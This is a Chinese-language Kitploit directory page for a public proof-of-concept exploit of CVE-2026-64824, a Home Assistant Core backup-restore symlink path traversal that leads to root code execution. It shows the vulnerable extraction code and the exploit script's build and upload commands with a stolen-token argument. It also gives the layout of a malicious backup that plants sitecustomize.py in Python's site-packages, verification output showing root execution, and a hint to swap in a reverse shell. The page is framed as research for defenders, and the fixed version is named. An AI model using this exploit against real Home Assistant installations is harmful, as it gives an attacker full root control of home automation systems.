Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-64824-PoC — CVE-2026-64824 — Home Assistant 备份-恢复符号链接路径遍历 → 根级 RCE。首个可用的 PoC,已在真实 HA 2026.5.4 上验证(sitecustomize.py 覆盖)。GHSA-cwh8-w64c-4j5h | Kitploit
工具/GitHubGitHub/boreas37/cve-2026-64824-poc
物联网安全漏洞分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubboreas37/cve-2026-64824-poc

CVE-2026-64824-PoC

CVE-2026-64824 — Home Assistant 备份-恢复符号链接路径遍历 → 根级 RCE。首个可用的 PoC,已在真实 HA 2026.5.4 上验证(sitecustomize.py 覆盖)。GHSA-cwh8-w64c-4j5h

查看仓库
1619天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-64824 — Home Assistant Core 备份-恢复 符号链接路径遍历 → RCE

CVSS 8.4(严重) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59

TL;DR

经过身份验证的(管理员)攻击者上传精心构造的备份 tar 包。恢复路径使用 filter="fully_trusted" 解压内部的 homeassistant.tar.gz,并且只校验成员的名称 — 从不校验 SYMTYPE 的链接名。指向绝对路径(例如 Python 的 site-packages/)的符号链接会被保留,因此随后写入的 sitecustomize.py 会以 root 身份落在解压目录之外(官方 Docker 镜像以 root 运行 HA)。下次 Python 启动时它会被自动导入 → 以 root 身份实现 RCE。

验证(2026-08-10)

✅ 真实 Home Assistant Core 2026.5.4(Docker、arm64、Python 3.14.2):

root@kitploit:~
POST /api/backup/upload?agent_id=backup.local  → 201 {"backup_id": "..."}
websocket backup/restore                      → executed (config replaced)

$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

✅ sitecustomize.py 已被写入到 /usr/local/lib/python3.14/site-packages/(root 所有)

✅ 反向验证:Python 3.14.5 的 tarfile 会拒绝绝对符号链接(FileExistsError);Python 3.14.2(随 HA 2026.5.x 发布)会将其解压 — 这就是旧版本可利用的原因。已在 HA 2026.7.0 中修复。

漏洞成因

homeassistant/backup_restore.py(约 v2026.5.x):

root@kitploit:~
istf.extractall(
    path=Path(tempdir, "homeassistant"),
    members=securetar.secure_path(istf),   # validates member.name only!
    filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)

secure_path() 会拒绝绝对名称和 .. 路径穿越,但具有良性名称 + 绝对链接名的 SYMTYPE 成员会原样通过过滤器,而 fully_trusted 会告知 tarfile 不要对其进行审查。

漏洞利用

root@kitploit:~
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
    --link-target /usr/local/lib/python3.14/site-packages/

# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar

备份格式(v2,与真实 HA 备份一致):

root@kitploit:~
outer: ./backup.json            {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link           -> /usr/local/lib/python3.14/site-packages/   (SYMTYPE)
inner: data/evil_link/sitecustomize.py                                       (payload)

任何 Python 进程启动(HA 重启、容器内执行 python3 ...)都会触发 sitecustomize.py — 它会以 root 身份执行 id > /tmp/HA_PWNED_64824。将 payload 替换为反弹 shell 即可获得完全控制权。

影响

  • 在 Home Assistant OS/Container 安装中实现完整的 root 权限 RCE
  • 任何经过身份验证的管理员(以及具有备份/恢复权限的用户)都可以访问备份恢复功能,包括通过 UI 的“恢复备份”流程
  • 由于恢复过程会先替换配置目录,即使配置目录在其他方面受到锁定,该攻击依然有效

修复方案

升级到 HA 2026.7.0+(恢复功能现在使用严格的 tar 过滤器,拒绝逃逸出解压目录的符号链接条目)。

时间线

  • 2026-07:漏洞由 VulnCheck 披露,GHSA-cwh8-w64c-4j5h 发布
  • 2026-08-10:本 PoC — 首个公开可用的漏洞利用,在真实的 2026.5.4 实例上完成了完整的 root RCE 验证
  • 发布时未观察到野外利用

免责声明

仅用于研究与教育目的。该漏洞已被披露(GHSA-cwh8-w64c-4j5h)并于 2026.7.0 中修复;本仓库旨在为防御者和研究人员演示攻击链。

下载工具